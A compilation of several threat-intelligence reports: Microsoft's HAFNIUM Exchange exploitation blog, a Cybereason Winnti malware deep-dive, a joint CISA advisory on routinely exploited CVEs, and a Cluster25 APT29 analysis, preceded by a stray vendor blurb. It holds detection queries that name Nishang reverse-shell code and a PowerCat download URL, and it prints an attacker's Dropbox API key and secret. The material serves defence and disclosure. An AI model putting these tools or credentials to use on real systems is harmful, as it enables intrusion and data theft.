Organizations can also take advantage of Trend Micro™ Deep Discovery™, a solution that provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real time. It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats even without any engine or pattern updates. |
# HAFNIUM Targeting Exchange Servers with 0-Day Exploits
**March 2, 2021**
**Update [03/16/2021]:** Microsoft released updated tools and investigation guidance to help IT pros and incident response teams identify, remediate, and defend against associated attacks: Guidance for responders: Investigating and remediating on-premises Exchange Server vulnerabilities.
**Update [03/15/2021]:** Microsoft released a new one-click mitigation tool, the Microsoft Exchange On-Premises Mitigation Tool, to help customers who do not have dedicated security or IT teams to apply security updates for Microsoft Exchange Server.
**Update [03/08/2021]:** Microsoft continues to see multiple actors taking advantage of unpatched systems to attack organizations with on-premises Exchange Server. To aid defenders in investigating these attacks where Microsoft security products and tooling may not be deployed, we are releasing a feed of observed indicators of compromise (IOCs). The feed of malware hashes and known malicious file paths observed in related attacks is available in both JSON and CSV formats.
**Update [03/05/2021]:** Microsoft sees increased use of these vulnerabilities in attacks targeting unpatched systems by multiple malicious actors beyond HAFNIUM. To aid customers in investigating these attacks, Microsoft Security Response Center (MSRC) has provided additional resources, including new mitigation guidance: Microsoft Exchange Server Vulnerabilities Mitigations – March 2021.
**Update [03/04/2021]:** The Exchange Server team released a script for checking HAFNIUM indicators of compromise (IOCs).
Microsoft has detected multiple 0-day exploits being used to attack on-premises versions of Microsoft Exchange Server in limited and targeted attacks. In the attacks observed, the threat actor used these vulnerabilities to access on-premises Exchange servers, which enabled access to email accounts and allowed installation of additional malware to facilitate long-term access to victim environments. Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to HAFNIUM, a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics, and procedures.
The vulnerabilities recently being exploited were CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065, all of which were addressed in today’s Microsoft Security Response Center (MSRC) release – Multiple Security Updates Released for Exchange Server. We strongly urge customers to update on-premises systems immediately. Exchange Online is not affected.
We are sharing this information with our customers and the security community to emphasize the critical nature of these vulnerabilities and the importance of patching all affected systems immediately to protect against these exploits and prevent future abuse across the ecosystem. This blog also continues our mission to shine a light on malicious actors and elevate awareness of the sophisticated tactics and techniques used to target our customers. The related IOCs, Azure Sentinel advanced hunting queries, and Microsoft Defender for Endpoint product detections and queries shared in this blog will help SOCs proactively hunt for related activity in their environments and elevate any alerts for remediation.
Microsoft would like to thank our industry colleagues at Volexity and Dubex for reporting different parts of the attack chain and their collaboration in the investigation. Volexity has also published a blog post with their analysis. It is this level of proactive communication and intelligence sharing that allows the community to come together to get ahead of attacks before they spread and improve security for all.
## Who is HAFNIUM?
HAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.
HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers and has used legitimate open-source frameworks, like Covenant, for command and control. Once they’ve gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA.
In campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets’ environments.
HAFNIUM operates primarily from leased virtual private servers (VPS) in the United States.
## Technical Details
Microsoft is providing the following details to help our customers understand the techniques used by HAFNIUM to exploit these vulnerabilities and enable more effective defense against any future attacks against unpatched systems.
- **CVE-2021-26855** is a server-side request forgery (SSRF) vulnerability in Exchange which allowed the attacker to send arbitrary HTTP requests and authenticate as the Exchange server.
- **CVE-2021-26857** is an insecure deserialization vulnerability in the Unified Messaging service. Exploiting this vulnerability gave HAFNIUM the ability to run code as SYSTEM on the Exchange server. This requires administrator permission or another vulnerability to exploit.
- **CVE-2021-26858** is a post-authentication arbitrary file write vulnerability in Exchange. If HAFNIUM could authenticate with the Exchange server, they could use this vulnerability to write a file to any path on the server. They could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate admin’s credentials.
- **CVE-2021-27065** is a post-authentication arbitrary file write vulnerability in Exchange. If HAFNIUM could authenticate with the Exchange server, they could use this vulnerability to write a file to any path on the server. They could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate admin’s credentials.
## Attack Details
After exploiting these vulnerabilities to gain initial access, HAFNIUM operators deployed web shells on the compromised server. Web shells potentially allow attackers to steal data and perform additional malicious actions that lead to further compromise.
Following web shell deployment, HAFNIUM operators performed the following post-exploitation activity:
- Using Procdump to dump the LSASS process memory.
- Using 7-Zip to compress stolen data into ZIP files for exfiltration.
- Adding and using Exchange PowerShell snap-ins to export mailbox data.
- Using the Nishang Invoke-PowerShellTcpOneLine reverse shell.
- Downloading PowerCat from GitHub, then using it to open a connection to a remote server.
HAFNIUM operators were also able to download the Exchange offline address book from compromised systems, which contains information about an organization and its users.
Our blog, Defending Exchange servers under attack, offers advice for improving defenses against Exchange server compromise. Customers can also find additional guidance about web shell attacks in our blog Web shell attacks continue to rise.
## Can I Determine if I Have Been Compromised by This Activity?
The below sections provide indicators of compromise (IOCs), detection guidance, and advanced hunting queries to help customers investigate this activity using Exchange server logs, Azure Sentinel, Microsoft Defender for Endpoint, and Microsoft 365 Defender. We encourage our customers to conduct investigations and implement proactive detections to identify possible prior campaigns and prevent future campaigns that may target their systems.
### Check Patch Levels of Exchange Server
The Microsoft Exchange Server team has published a blog post on these new Security Updates providing a script to get a quick inventory of the patch-level status of on-premises Exchange servers and answer some basic questions around installation of these patches.
### Scan Exchange Log Files for Indicators of Compromise
The Exchange Server team has created a script to run a check for HAFNIUM IOCs to address performance and memory concerns.
- **CVE-2021-26855** exploitation can be detected via the following Exchange HttpProxy logs:
- These logs are located in the following directory: `%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\HttpProxy`
- Exploitation can be identified by searching for log entries where the AuthenticatedUser is empty and the AnchorMailbox contains the pattern of `ServerInfo~*/*`.
Here is an example PowerShell command to find these log entries:
```powershell
Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '*.log').FullName | Where-Object { $_.AnchorMailbox -like 'ServerInfo~*/*' -or $_.BackEndCookie -like 'Server~*/*~*'} | select DateTime, AnchorMailbox, UrlStem, RoutingHint, ErrorCode, TargetServerVersion, BackEndCookie, GenericInfo, GenericErrors, UrlHost, Protocol, Method, RoutingType, AuthenticationType, ServerHostName, HttpStatus, BackEndStatus, UserAgent
```
If activity is detected, the logs specific to the application specified in the AnchorMailbox path can be used to help determine what actions were taken. These logs are located in the `%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging` directory.
- **CVE-2021-26858** exploitation can be detected via the Exchange log files:
- `C:\Program Files\Microsoft\Exchange Server\V15\Logging\OABGeneratorLog`
- Files should only be downloaded to the `%PROGRAMFILES%\Microsoft\Exchange Server\V15\ClientAccess\OAB\Temp` directory.
- In case of exploitation, files are downloaded to other directories (UNC or local paths).
Windows command to search for potential exploitation:
```cmd
findstr /snip /c:"Download failed and temporary file" "%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\OABGeneratorLog\*.log"
```
- **CVE-2021-26857** exploitation can be detected via the Windows Application event logs:
- Exploitation of this deserialization bug will create Application events with the following properties:
- Source: MSExchange Unified Messaging
- EntryType: Error
- Event Message Contains: System.InvalidCastException
Following is PowerShell command to query the Application Event Log for these log entries:
```powershell
Get-EventLog -LogName Application -Source "MSExchange Unified Messaging" -EntryType Error | Where-Object { $_.Message -like "*System.InvalidCastException*" }
```
- **CVE-2021-27065** exploitation can be detected via the following Exchange log files:
- `C:\Program Files\Microsoft\Exchange Server\V15\Logging\ECP\Server`
- All Set-<AppName>VirtualDirectory properties should never contain script. InternalUrl and ExternalUrl should only be valid Uris.
Following is a PowerShell command to search for potential exploitation:
```powershell
Select-String -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\ECP\Server\*.log" -Pattern 'Set-.+VirtualDirectory'
```
## Host IOCs
Microsoft is releasing a feed of observed indicators of compromise (IOCs) in related attacks. This feed is available in both CSV and JSON formats.
### Hashes
Web shell hashes:
- b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0
- 097549cf7d0f76f0d99edf8b2d91c60977fd6a96e4b8c3c94b0b1733dc026d3e
- 2b6f1ebb2208e93ade4a6424555d6a8341fd6d9f60c25e44afe11008f5c1aad1
- 65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5
- 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1
- 4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea
- 811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d
- 1631a90eb5395c4e19c7dbcbf611bbe6444ff312eb7937e286e4637cb9e72944
### Paths
We observed web shells in the following paths:
- `C:\inetpub\wwwroot\aspnet_client\`
- `C:\inetpub\wwwroot\aspnet_client\system_web\`
- In Microsoft Exchange Server installation paths such as:
- `%PROGRAMFILES%\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\`
- `C:\Exchange\FrontEnd\HttpProxy\owa\auth\`
The web shells we detected had the following file names:
- web.aspx
- help.aspx
- document.aspx
- errorEE.aspx
- errorEEE.aspx
- errorEW.aspx
- errorFF.aspx
- healthcheck.aspx
- aspnet_www.aspx
- aspnet_client.aspx
- xx.aspx
- shell.aspx
- aspnet_iisstart.aspx
- one.aspx
Check for suspicious .zip, .rar, and .7z files in `C:\ProgramData\`, which may indicate possible data exfiltration. Customers should monitor these paths for LSASS dumps:
- `C:\windows\temp\`
- `C:\root\`
## Tools
- Procdump
- Nishang
- PowerCat
Many of the following detections are for post-breach techniques used by HAFNIUM. So while these help detect some of the specific current attacks that Microsoft has observed, it remains very important to apply the recently released updates for CVE-2021-26855, CVE-2021-26857, CVE-2021-27065, and CVE-2021-26858.
### Microsoft Defender Antivirus Detections
Please note that some of these detections are generic detections and not unique to this campaign or these exploits.
- Exploit: Script/Exmann.A!dha
- Behavior: Win32/Exmann.A
- Backdoor: ASP/SecChecker.A
- Backdoor: JS/Webshell (not unique)
- Trojan: JS/Chopper!dha (not unique)
- Behavior: Win32/DumpLsass.A!attk (not unique)
- Backdoor: HTML/TwoFaceVar.B (not unique)
### Microsoft Defender for Endpoint Detections
- Suspicious Exchange UM process creation
- Suspicious Exchange UM file creation
- Possible web shell installation (not unique)
- Process memory dump (not unique)
### Azure Sentinel Detections
**Advanced Hunting Queries**
To locate possible exploitation activity related to the contents of this blog, you can run the following advanced hunting queries via Microsoft Defender for Endpoint and Azure Sentinel:
#### Microsoft Defender for Endpoint Advanced Hunting Queries
Microsoft 365 Defender customers can find related hunting queries below or at this GitHub location: [Microsoft 365 Defender Hunting Queries](https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/).
- UMWorkerProcess.exe in Exchange creating abnormal content:
```kusto
DeviceFileEvents | where InitiatingProcessFileName == "UMWorkerProcess.exe" | where FileName != "CacheCleanup.bin" | where FileName !endswith ".txt" | where FileName !endswith ".LOG" | where FileName !endswith ".cfg" | where FileName != "cleanup.bin"
```
- UMWorkerProcess.exe spawning:
```kusto
DeviceProcessEvents | where InitiatingProcessFileName == "UMWorkerProcess.exe" | where FileName != "wermgr.exe" | where FileName != "WerFault.exe"
```
Please note excessive spawning of wermgr.exe and WerFault.exe could be an indicator of compromise due to the service crashing during deserialization.
#### Azure Sentinel Advanced Hunting Queries
Azure Sentinel customers can find a Sentinel query containing these indicators in the Azure Sentinel Portal or at this GitHub location: [Azure Sentinel Detections](https://github.com/Azure/Azure-Sentinel/tree/master/Detections/MultipleDataSources/).
- Look for Nishang Invoke-PowerShellTcpOneLine in Windows Event Logging:
```kusto
SecurityEvent | where EventID == 4688 | where Process has_any ("powershell.exe", "PowerShell_ISE.exe") | where CommandLine has "$client = New-Object System.Net.Sockets.TCPClient"
```
- Look for downloads of PowerCat in cmd and Powershell command line logging in Windows Event Logs:
```kusto
SecurityEvent | where EventID == 4688 | where Process has_any ("cmd.exe", "powershell.exe", "PowerShell_ISE.exe") | where CommandLine has "https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1"
```
- Look for Exchange PowerShell Snapin being loaded. This can be used to export mailbox data; subsequent command lines should be inspected to verify usage:
```kusto
SecurityEvent | where EventID == 4688 | where Process has_any ("cmd.exe", "powershell.exe", "PowerShell_ISE.exe") | where isnotempty(CommandLine) | where CommandLine contains "Add-PSSnapin Microsoft.Exchange.Powershell.Snapin" | summarize FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by Computer, Account, CommandLine
``` |
# Operation CuckooBees: A Winnti Malware Arsenal Deep-Dive
**Written By**
Cybereason Nocturnus
May 4, 2022 | 19 minute read
In part one of this research, the Cybereason Nocturnus Incident Response Team provided a unique glimpse into the Winnti intrusion playbook, covering the techniques that were used by the group from initial compromise to stealing the data, as observed and analyzed by the Cybereason Incident Response team.
This part of the research zeroes in on the Winnti malware arsenal that was discovered during the investigation conducted by the Cybereason IR and Nocturnus teams. In addition, our analysis of the observed malware provides a deeper understanding of the elaborate and multi-layered Winnti infection chain, including evasive maneuvers and stealth techniques that are baked into the malware code, as well as the functionality of the various malware.
Perhaps one of the most interesting and striking aspects of this report is the level of sophistication introduced by the malware authors. The infection and deployment chain is long, complicated, and interdependent—should one step go wrong, the entire chain collapses—making it somewhat vulnerable, yet at the same time provides an extra level of security and stealth for the operation.
These steps have proven themselves effective time and time again, as the operation remained under the radar for years. While there have been past reports describing some aspects of these intrusions, at the time of writing this report there was no publicly available research that discussed all of the tools and techniques and the manner in which they all fit together, as mentioned in this report.
## Key Findings
- **Attribution to the Winnti APT Group**: Based on the analysis of the forensic artifacts, Cybereason estimates with medium-high confidence that the perpetrators of the attack are linked to the notorious Winnti APT group, a group that has existed since at least 2010 and is believed to be operating on behalf of Chinese state interests and specializes in cyberespionage and intellectual property theft.
- **Discovery of New Malware in the Winnti Arsenal**: The report exposes a previously undocumented malware strain called DEPLOYLOG used by the Winnti APT group and highlights new versions of known Winnti malware, including Spyder Loader, PRIVATELOG, and WINNKIT.
- **Rarely Seen Abuse of the Windows CLFS Feature**: The attackers leveraged the Windows CLFS mechanism and NTFS transaction manipulations which provided them with the ability to conceal their payloads and evade detection by traditional security products.
- **Intricate and Interdependent Payload Delivery**: The report includes an analysis of the complex infection chain that led to the deployment of the WINNKIT rootkit composed of multiple interdependent components. The attackers implemented a delicate “house of cards” approach, meaning that each component depends on the others to function properly, making it very difficult to analyze each component separately. The malware from the Winnti arsenal that are analyzed in this report include:
- **Spyder**: A sophisticated modular backdoor
- **STASHLOG**: The initial deployment tool “stashing” payloads in Windows CLFS
- **SPARKLOG**: Extracts and deploys PRIVATELOG to gain privilege escalation and achieve persistence
- **PRIVATELOG**: Extracts and deploys DEPLOYLOG
- **DEPLOYLOG**: Deploys the WINNKIT Rootkit and serves as a userland agent
- **WINNKIT**: The Winnti Kernel-level Rootkit
## The Spyder Loader
The Spyder loader is the first malicious binary the attackers execute on a targeted machine. This malware is executed from the batch files discussed in our blog’s part 1 - cc.bat or bc.bat. The loader’s purpose is to decrypt and load additional payloads and is being delivered in two variations. The first variation is a modified SQLite3 DLL, that uses the export’s ordinal number 138 to serve malicious code, that loads and executes a file argument provided at runtime, in our case `C:\Windows\System32\x64.tlb`.
Interestingly, Cybereason found this loader in different names and in different locations across infected machines:
- `C:\Windows\System32\iumatl.dll`
- `C:\Windows\System32\msdupld.dll`
- `C:\Windows\System32\mscuplt.dll`
- `C:\Windows\System32\netapi.dll`
- `C:\Windows\System32\rpcutl.dll`
- `C:\Windows\System32\dot3utl.dll`
- `C:\Windows\System32\nlsutl.dll`
- `C:\Windows\Branding\Basebrd\language.dll`
- `C:\Program Files\Internet Explorer\SIGNUP\install.dll`
The attackers utilized the System32 directory, which holds a multitude of TLB and DLL files, to hide their external “TLB” payload and DLL loader to make it harder to detect.
## A Long and Winnti(ng) Road: The Winnti Multi-Phased Arsenal Deployment
After deploying the initial payload, Winnti employs a sophisticated and unique multi-staged infection chain with numerous payloads. Each payload fulfills a unique role in the infection chain, which is successful only upon the complete deployment of all of the payloads. The upcoming sections will discuss the following payloads:
- **STASHLOG**: Stashes encrypted data in a CLFS log
- **SPARKLOG**: Extracts data from the CLFS log and deploys PRIVATELOG while escalating privileges
- **PRIVATELOG**: Extracts data from the CLFS log and deploys DEPLOYLOG. This payload also enables persistence in some cases
- **DEPLOYLOG**: Extracts data from the CLFS log, deploys the WINNKIT Rootkit driver, and acts as the user-mode agent
- **WINNKIT**: The Winnti Kernel-level Rootkit
## Abusing the Rarely Used CLFS Mechanism for Evasion
CLFS (Common Log File System) is a logging framework that was first introduced by Microsoft in Windows Server 2003 R2, and is included in later Windows operating systems. This mechanism provides a high-performance logging system for a variety of purposes ranging from simple error logs to transactional systems and data stream collection.
One of the main uses of CLFS in the Windows operating system is in the Windows Kernel Transaction Manager (KTM) for both Transactional NTFS (TxF) and Transactional Registry (TxR) operations. Transactional operations bring the concept of atomic transactions to Windows, allowing Windows to log different operations on those components and support the ability to roll back if needed.
The high-performance aspect of this framework is based on the concept of storing the log data in memory buffers for fast writing, reading, and flushing them to disk—but not continuously, according to a stated policy. CLFS employs a proprietary file format that isn't documented, and can only be accessed through the CLFS API functions. As of writing this report, there is no tool which can parse the flushed logs. This is a huge benefit for attackers, as it makes it more difficult to examine and detect them while using the CLFS mechanism.
## Conclusion
In part two of the research, we provided a deep dive into the Winnti malware arsenal that was observed by the Cybereason IR and Nocturnus teams. Our analysis provides a unique and holistic view of Winnti operational aspects, capabilities, and modus operandi. While some of the tools mentioned in the research were previously reported on, some tools such as DEPLOYLOG were previously undocumented and first analyzed in this report.
Perhaps one of the most interesting things to notice is the elaborate and multi-phased infection chain Winnti employed. The malware authors chose to break the infection chain into multiple interdependent phases, where each phase relies on the previous one in order to execute correctly. This demonstrates the thought and effort that was put into both the malware and operational security considerations, making it almost impossible to analyze unless all pieces of the puzzle are assembled in the correct order.
Furthermore, the rare abuse of the Windows’ own CLFS logging system and NTFS manipulations provided the attackers with extra stealth and the ability to remain undetected for years. We hope that this report helps to shed light on Winnti operations, tools, and techniques, and that it will assist to expose further intrusions. |
# 2021 Top Routinely Exploited Vulnerabilities
## Summary
This joint Cybersecurity Advisory (CSA) was coauthored by cybersecurity authorities of the United States, Australia, Canada, New Zealand, and the United Kingdom: the Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Federal Bureau of Investigation (FBI), Australian Cyber Security Centre (ACSC), Canadian Centre for Cyber Security (CCCS), New Zealand National Cyber Security Centre (NZ NCSC), and United Kingdom’s National Cyber Security Centre (NCSC-UK). This advisory provides details on the top 15 Common Vulnerabilities and Exposures (CVEs) routinely exploited by malicious cyber actors in 2021, as well as other CVEs frequently exploited.
U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities assess that in 2021, malicious cyber actors aggressively targeted newly disclosed critical software vulnerabilities against broad target sets, including public and private sector organizations worldwide. To a lesser extent, malicious cyber actors continued to exploit publicly known, dated software vulnerabilities across a broad spectrum of targets.
The cybersecurity authorities encourage organizations to apply the recommendations in the Mitigations section of this CSA. These mitigations include applying timely patches to systems and implementing a centralized patch management system to reduce the risk of compromise by malicious cyber actors.
## Technical Details
### Key Findings
Globally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities. For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (POC) code within two weeks of the vulnerability’s disclosure, likely facilitating exploitation by a broader range of malicious actors.
To a lesser extent, malicious cyber actors continued to exploit publicly known, dated software vulnerabilities—some of which were also routinely exploited in 2020 or earlier. The exploitation of older vulnerabilities demonstrates the continued risk to organizations that fail to patch software in a timely manner or are using software that is no longer supported by a vendor.
### Top 15 Routinely Exploited Vulnerabilities
The following vulnerabilities were observed malicious actors routinely exploiting in 2021:
- **CVE-2021-44228**: This vulnerability, known as Log4Shell, affects Apache’s Log4j library, an open-source logging framework. An actor can exploit this vulnerability by submitting a specially crafted request to a vulnerable system that causes that system to execute arbitrary code. The request allows a cyber actor to take full control over the system. The actor can then steal information, launch ransomware, or conduct other malicious activity. Log4j is incorporated into thousands of products worldwide. This vulnerability was disclosed in December 2021; the rapid widespread exploitation of this vulnerability demonstrates the ability of malicious actors to quickly weaponize known vulnerabilities and target organizations before they patch.
- **CVE-2021-26855, CVE-2021-26858, CVE-2021-26857, CVE-2021-27065**: These vulnerabilities, known as ProxyLogon, affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination (i.e., “vulnerability chaining”) allows an unauthenticated cyber actor to execute arbitrary code on vulnerable Exchange Servers, which enables the actor to gain persistent access to files and mailboxes on the servers, as well as to credentials stored on the servers. Successful exploitation may additionally enable the cyber actor to compromise trust and identity in a vulnerable network.
- **CVE-2021-34523, CVE-2021-34473, CVE-2021-31207**: These vulnerabilities, known as ProxyShell, also affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination enables a remote actor to execute arbitrary code. These vulnerabilities reside within the Microsoft Client Access Service (CAS), which typically runs on port 443 in Microsoft Internet Information Services (IIS). CAS is commonly exposed to the internet to enable users to access their email via mobile devices and web browsers.
- **CVE-2021-26084**: This vulnerability, affecting Atlassian Confluence Server and Data Center, could enable an unauthenticated actor to execute arbitrary code on vulnerable systems. This vulnerability quickly became one of the most routinely exploited vulnerabilities after a POC was released within a week of its disclosure. Attempted mass exploitation of this vulnerability was observed in September 2021.
Three of the top 15 routinely exploited vulnerabilities were also routinely exploited in 2020: CVE-2020-1472, CVE-2018-13379, and CVE-2019-11510. Their continued exploitation indicates that many organizations fail to patch software in a timely manner and remain vulnerable to malicious cyber actors.
### Additional Routinely Exploited Vulnerabilities
In addition to the 15 vulnerabilities listed, U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities identified additional vulnerabilities that were also routinely exploited by malicious cyber actors in 2021. These vulnerabilities include multiple vulnerabilities affecting internet-facing systems, including Accellion File Transfer Appliance (FTA), Windows Print Spooler, and Pulse Secure Pulse Connect Secure. Three of these vulnerabilities were also routinely exploited in 2020: CVE-2019-19781, CVE-2019-18935, and CVE-2017-11882.
### Mitigations
#### Vulnerability and Configuration Management
- Update software, operating systems, applications, and firmware on IT network assets in a timely manner. Prioritize patching known exploited vulnerabilities, especially those CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment. If a patch for a known exploited or critical vulnerability cannot be quickly applied, implement vendor-approved workarounds.
- Use a centralized patch management system.
- Replace end-of-life software, i.e., software that is no longer supported by the vendor.
- Organizations that are unable to perform rapid scanning and patching of internet-facing systems should consider moving these services to mature, reputable cloud service providers (CSPs) or other managed service providers (MSPs). Reputable MSPs can patch applications for their customers. However, as MSPs and CSPs expand their client organization's attack surface and may introduce unanticipated risks, organizations should proactively collaborate with their MSPs and CSPs to jointly reduce that risk.
#### Identity and Access Management
- Enforce multifactor authentication (MFA) for all users, without exception.
- Enforce MFA on all VPN connections. If MFA is unavailable, require employees engaging in remote work to use strong passwords.
- Regularly review, validate, or remove privileged accounts (annually at a minimum).
- Configure access control under the concept of least privilege principle.
#### Protective Controls and Architecture
- Properly configure and secure internet-facing network devices, disable unused or unnecessary network ports and protocols, encrypt network traffic, and disable unused network services and devices.
- Segment networks to limit or block lateral movement by controlling access to applications, devices, and databases. Use private virtual local area networks.
- Continuously monitor the attack surface and investigate abnormal activity that may indicate lateral movement of a threat actor or malware.
## Contact Information
U.S. organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at [email protected] or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or [email protected].
Australian organizations can visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.
Canadian organizations can report incidents by emailing CCCS at [email protected].
New Zealand organizations can report cyber security incidents to [email protected] or call 04 498 7654.
United Kingdom organizations can report a significant cyber security incident at ncsc.gov.uk/report-an-incident or, for urgent assistance, call 03000 200 973. |
# Cozy Smuggled Into the Box: APT29 Abusing Legitimate Software for Targeted Operations in Europe
Cozy Bear (aka Nobelium, APT29, The Dukes) is a well-resourced, highly dedicated and organized cyberespionage group that is believed to work in support of the decision-making process of the Russian government since at least 2008. Nobelium primarily targets western governments and related organizations, with a particular focus on government, diplomat, political, and think tank sectors.
Recently, we analyzed several spear-phishing campaigns linked with this adversary that involve the usage of a side-loaded DLL through signed software (like Adobe suite) and legitimate web services (like Dropbox) as communication vectors for Command and Control (C&C). The misuse of legitimate web services is an attempt to evade detection from automatic analysis software. Third-party researchers have also reported it used Trello and its REST API to simulate a first-level Command & Control server. In addition to this evasion attempt, the side-loaded DLL tries to unhook the Windows libraries loaded in the process memory to evade possible EDRs.
To maximize the chances of success, Nobelium, in at least two cases, sent spear-phishing emails from spoofed or compromised government addresses. As initial access, we identified the following attack vectors:
1. The first approach involves the distribution of an IMG file which, when mounted, contains an LNK shortcut and the signed software with the other DLLs and a decoy PDF as hidden files. This attack vector lures the user through a masquerading technique by changing the LNK file icon to a folder icon in order to convince the user to click on it. Once triggered, the cmd.exe utility is invoked to run the signed executable and to start the side-loading of the malicious DLL (i.e. AcroSup.dll).
2. The second approach involves the usage of the EnvyScout dropper, which is basically an HTML file with an embedded JavaScript designed to decode and drop the next-stage payload (HTML Smuggling). Once the HTML file is executed, the JavaScript code decodes a bytes array and saves the result under an archive in the Download directory. In this case, the user is responsible for unzipping the archive (that contains the signed software, the relative DLLs, and the lure PDF) and to run manually the executable to start the chain (even if the JavaScript code contains an unused snippet for automating the process).
The EnvyScout dropper was used by this threat actor in different campaigns. From mid-January 2022, Cluster25 internally reported different Nobelium-linked campaigns against European entities that leveraged fairly complex kill-chains starting with EnvyScout as well.
## Insights
In the reported case, the signed executable is represented by WCChromeNativeMessagingHost.exe from the Adobe Create PDF module of the Adobe suite. It’s a plugin for Google Chrome. Since the malware bundle contains a local copy of vcruntime140.dll, once the abused software is executed, the local copy of this Windows library is loaded into the program memory from the PE import table.
Analyzing the local copy of vcruntime140.dll, we noticed that the PE imports of this library have been modified: it contains an entry to the AcroSup.dll delivered through the malware bundle. This import chain leads to the side-loading of the malicious AcroSup.dll and the execution of its DllMain export before the execution of the signed Adobe executable. To evade possible debuggers, the execution of the malicious AcroSup.dll starts with a thread hijacking by overwriting the thread context of the main thread (updating the RIP register) in the signed executable space. To avoid the DLL execution in suspected processes, before the thread context overwriting, the malware checks if the process image name currently matches the name of the signed expected executable through the K32GetProcessImageFileNameA API.
After that, the malware iterates on the loaded Windows DLLs through the K32EnumProcessModules APIs to unhook each DLL and evade active EDRs on the system. For each loaded DLL, the .text section of each of them is freshly mapped to the virtual address of the possible hooked DLL.
From this point, the malware enters a pseudo-infinite loop where, each second, it contacts the Dropbox service to communicate the victim identifier and receive next-stage payloads. The api.dropbox.com endpoint is contacted at the /oauth2/token/ URI through an HTTP POST request to receive a refresh token, necessary to contact the Dropbox APIs.
For this request, the following combination of API key and API secret are used to represent the Dropbox account used by the threat actor:
- API key: fm09ogco339u0a9
- API secret: scqekoaqqj98sze
In addition, for all the network-related requests, the malware uses a fixed user-agent:
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 AtContent/91.5.2444.45
If the refresh token is received from the Dropbox APIs and successfully parsed, the implant proceeds with the integration of some masquerading and persistence techniques. A new subprocess is created to open the lure PDF document (an empty PDF) contained in the bundle and used to make the user think that they have opened the legit Adobe Acrobat application.
Meanwhile, all the files involved in the bundle (signed software and relative DLLs) are copied under the %APPDATA%\AcroSup\ directory, and a new registry key under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ is created to achieve persistence. The lure PDF document is not copied under the above-mentioned directory, so this document will not be opened again after a restart of the victim system. To register the victim entry on Dropbox, a victim identifier is created through the hex-encoded combination of the current username and current computer name (e.g., john::windows10). The communication of the new victim is then completed through a push of a new .mp3 file (named Rock_[VICTIM_ID].mp3) via the Dropbox APIs on /2/files/upload/ URI.
Interestingly, the pushed .MP3 files identifying the victims always contain the following string that likely represents the malware family:
- ME3.99.5UUUUUUUUUUU
Finally, another request is performed to the /2/files/download/ path of Dropbox APIs that tries to download a file named Rock_VICTIM_ID.mp3.backup. The response is parsed to determine if a next-stage payload exists for the current registered victim. If one does, the malware will allocate a new heap space to store the downloaded payload and will execute it in the executable space by overwriting again the thread context of the main executable.
## Victimology
In recent months, Cluster25 had evidence of Cozy Bear’s campaigns that potentially impacted at least Greece, Italy, Turkey, and Portugal, especially in government and foreign affairs sectors.
## Conclusions
Nobelium confirms its interest in government and foreign affairs by targeting organizations in Europe and possibly other parts of the world. The campaigns and the payloads analyzed over time show a strong focus on operating under the radar and lowering detection rates. The use of legitimate services such as Trello and Dropbox suggests the adversary’s intent to operate for a long time within the victim environments, remaining undetected. It is possible to foresee that this actor will also try to change TTPs (Technical and Tactical Procedures) in the near future to make any mitigation action aimed at its contrast more difficult.
## ATT&CK Matrix
| Tactic | Technique | Description |
|---------------------------|--------------------|--------------------------------------------------|
| Initial Access | T1566.001 | Phishing: Spearphishing Attachment |
| Execution | T1204.001 | User Execution: Malicious Link |
| Execution | T1204.002 | User Execution: Malicious File |
| Execution | T1059.007 | Command and Scripting Interpreter: JavaScript |
| Defense Evasion | T1036 | Masquerading |
| Defense Evasion | T1622 | Debugger Evasion |
